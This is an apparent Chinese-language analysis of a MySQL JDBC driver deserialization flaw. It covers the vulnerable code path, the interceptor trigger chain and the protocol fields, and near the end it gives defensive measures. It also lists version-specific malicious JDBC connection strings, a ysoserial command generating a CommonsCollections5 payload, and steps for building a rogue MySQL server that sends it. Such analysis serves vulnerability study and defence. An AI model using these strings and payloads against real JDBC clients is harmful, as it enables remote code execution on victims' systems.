MySQL JDBC 反序列化分析
字数 2217 2025-08-06 08:35:22

MySQL JDBC 反序列化漏洞分析与利用

漏洞背景

MySQL JDBC驱动中存在反序列化漏洞,当特定条件满足时,攻击者可以通过精心构造的MySQL服务器响应触发JDBC客户端的反序列化操作,从而导致远程代码执行。

漏洞分析

反序列化入口点

漏洞的核心在于ResultSetImpl#getObject方法中对BLOB类型数据的处理:

public Object getObject(int columnIndex) throws SQLException {
    Field field = this.columnDefinition.getFields()[columnIndexMinusOne];
    switch (field.getMysqlType()) {
        case BIT:
            if (field.isBinary() || field.isBlob()) {
                byte[] data = getBytes(columnIndex);
                if (this.connection.getPropertySet().getBooleanProperty(PropertyDefinitions.PNAME_autoDeserialize).getValue()) {
                    Object obj = data;
                    if ((data != null) && (data.length >= 2)) {
                        if ((data[0] == -84) && (data[1] == -19)) { // Java序列化魔术头
                            try {
                                ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);
                                ObjectInputStream objIn = new ObjectInputStream(bytesIn);
                                obj = objIn.readObject(); // 反序列化点
                                objIn.close();
                                bytesIn.close();
                            }
                        }
                    }
                    return obj;
                }
                return data;
            }

关键条件:

  1. 数据类型必须为BLOB
  2. autoDeserialize属性必须设置为true
  3. 数据前两个字节必须是Java序列化对象的魔术头(-84, -19)

触发链

利用链如下:

mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#preProcess/postProcess
→ com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#populateMapWithSessionStatusValues
→ com.mysql.cj.jdbc.util.ResultSetUtil#resultSetToMap
→ com.mysql.cj.jdbc.result.ResultSetImpl#getObject

不同版本的利用方式

ServerStatusDiffInterceptor触发:

  • 8.x: jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
  • 6.x: jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
  • 5.1.11及以上5.x: jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor
  • 5.1.10及以下5.1.x: 同上,但需要连接后执行查询
  • 5.0.x: 不支持

detectCustomCollations触发:

  • 5.1.41及以上: 不可用
  • 5.1.29-5.1.40: jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true
  • 5.1.28-5.1.19: jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true
  • 5.1.18以下5.1.x: 不可用
  • 5.0.x: 不可用

MySQL私有协议分析

基本数据包格式

类型 名称 描述
int<3> payload_length 数据包内容长度(不包括头部4字节)
int<1> sequence_id 包序列ID,从0开始
string payload 具体数据内容

结果集数据包格式

  1. Result Set Header - 返回数据的列数量
  2. Field - 返回数据的列信息(多个)
  3. Row Data - 行数据(多个)
  4. EOF - 数据结束

Field结构详解

Field包包含以下关键信息:

  • 列类型(必须为BLOB,对应0xFC)
  • 标识位(flags),必须包含BINARY_FLAG(0x0080)

类型对照表

类型
0xF9 FIELD_TYPE_TINY_BLOB
0xFA FIELD_TYPE_MEDIUM_BLOB
0xFB FIELD_TYPE_LONG_BLOB
0xFC FIELD_TYPE_BLOB
... ...

Flags对照表

含义
0x0080 BINARY_FLAG
0x0010 BLOB_FLAG
... ...

漏洞利用实践

生成Payload

使用ysoserial生成反序列化payload:

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 calc > payload.ser

注意:在PowerShell中生成时可能会出现问题,建议使用:

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 calc | Out-File -Encoding default payload.ser

构造恶意MySQL服务器

恶意服务器需要:

  1. 响应包含BLOB类型的结果集
  2. 数据前两个字节为Java序列化魔术头(-84, -19)
  3. 最后响应一个SHOW WARNING,否则会报错

数据包构造示例

  1. Result Set Header:表示返回1列
  2. Field:构造为BLOB类型且包含BINARY_FLAG
  3. Row Data:包含序列化payload
  4. EOF:结束标记

注意事项

  1. 高版本MySQL协议格式有变化,旧格式可能不兼容
  2. 需要发送两个结果集,因为代码会读取两个对象
  3. 必须正确设置BLOB类型和BINARY标志
  4. 最后需要响应SHOW WARNING以避免错误

防御措施

  1. 禁用autoDeserialize属性
  2. 限制JDBC连接字符串的可控性
  3. 使用最新版本的MySQL JDBC驱动
  4. 实施网络层面的防护,限制数据库连接来源

总结

该漏洞利用MySQL JDBC驱动对BLOB类型数据的反序列化处理,通过精心构造的MySQL服务器响应触发反序列化操作。理解MySQL私有协议和JDBC驱动的内部机制是成功利用的关键。防御方面应重点控制JDBC连接参数并保持驱动更新。

MySQL JDBC 反序列化漏洞分析与利用 漏洞背景 MySQL JDBC驱动中存在反序列化漏洞,当特定条件满足时,攻击者可以通过精心构造的MySQL服务器响应触发JDBC客户端的反序列化操作,从而导致远程代码执行。 漏洞分析 反序列化入口点 漏洞的核心在于 ResultSetImpl#getObject 方法中对BLOB类型数据的处理: 关键条件: 数据类型必须为BLOB autoDeserialize 属性必须设置为true 数据前两个字节必须是Java序列化对象的魔术头(-84, -19) 触发链 利用链如下: 不同版本的利用方式 ServerStatusDiffInterceptor触发: 8.x : jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor 6.x : jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor 5.1.11及以上5.x : jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor 5.1.10及以下5.1.x : 同上,但需要连接后执行查询 5.0.x : 不支持 detectCustomCollations触发: 5.1.41及以上 : 不可用 5.1.29-5.1.40 : jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true 5.1.28-5.1.19 : jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true 5.1.18以下5.1.x : 不可用 5.0.x : 不可用 MySQL私有协议分析 基本数据包格式 | 类型 | 名称 | 描述 | |------|------|------| | int<3> | payload_ length | 数据包内容长度(不包括头部4字节) | | int<1> | sequence_ id | 包序列ID,从0开始 | | string | payload | 具体数据内容 | 结果集数据包格式 Result Set Header - 返回数据的列数量 Field - 返回数据的列信息(多个) Row Data - 行数据(多个) EOF - 数据结束 Field结构详解 Field包包含以下关键信息: 列类型(必须为BLOB,对应0xFC) 标识位(flags),必须包含BINARY_ FLAG(0x0080) 类型对照表 | 值 | 类型 | |----|------| | 0xF9 | FIELD_ TYPE_ TINY_ BLOB | | 0xFA | FIELD_ TYPE_ MEDIUM_ BLOB | | 0xFB | FIELD_ TYPE_ LONG_ BLOB | | 0xFC | FIELD_ TYPE_ BLOB | | ... | ... | Flags对照表 | 值 | 含义 | |----|------| | 0x0080 | BINARY_ FLAG | | 0x0010 | BLOB_ FLAG | | ... | ... | 漏洞利用实践 生成Payload 使用ysoserial生成反序列化payload: 注意 :在PowerShell中生成时可能会出现问题,建议使用: 构造恶意MySQL服务器 恶意服务器需要: 响应包含BLOB类型的结果集 数据前两个字节为Java序列化魔术头(-84, -19) 最后响应一个SHOW WARNING,否则会报错 数据包构造示例 Result Set Header :表示返回1列 Field :构造为BLOB类型且包含BINARY_ FLAG Row Data :包含序列化payload EOF :结束标记 注意事项 高版本MySQL协议格式有变化,旧格式可能不兼容 需要发送两个结果集,因为代码会读取两个对象 必须正确设置BLOB类型和BINARY标志 最后需要响应SHOW WARNING以避免错误 防御措施 禁用autoDeserialize属性 限制JDBC连接字符串的可控性 使用最新版本的MySQL JDBC驱动 实施网络层面的防护,限制数据库连接来源 总结 该漏洞利用MySQL JDBC驱动对BLOB类型数据的反序列化处理,通过精心构造的MySQL服务器响应触发反序列化操作。理解MySQL私有协议和JDBC驱动的内部机制是成功利用的关键。防御方面应重点控制JDBC连接参数并保持驱动更新。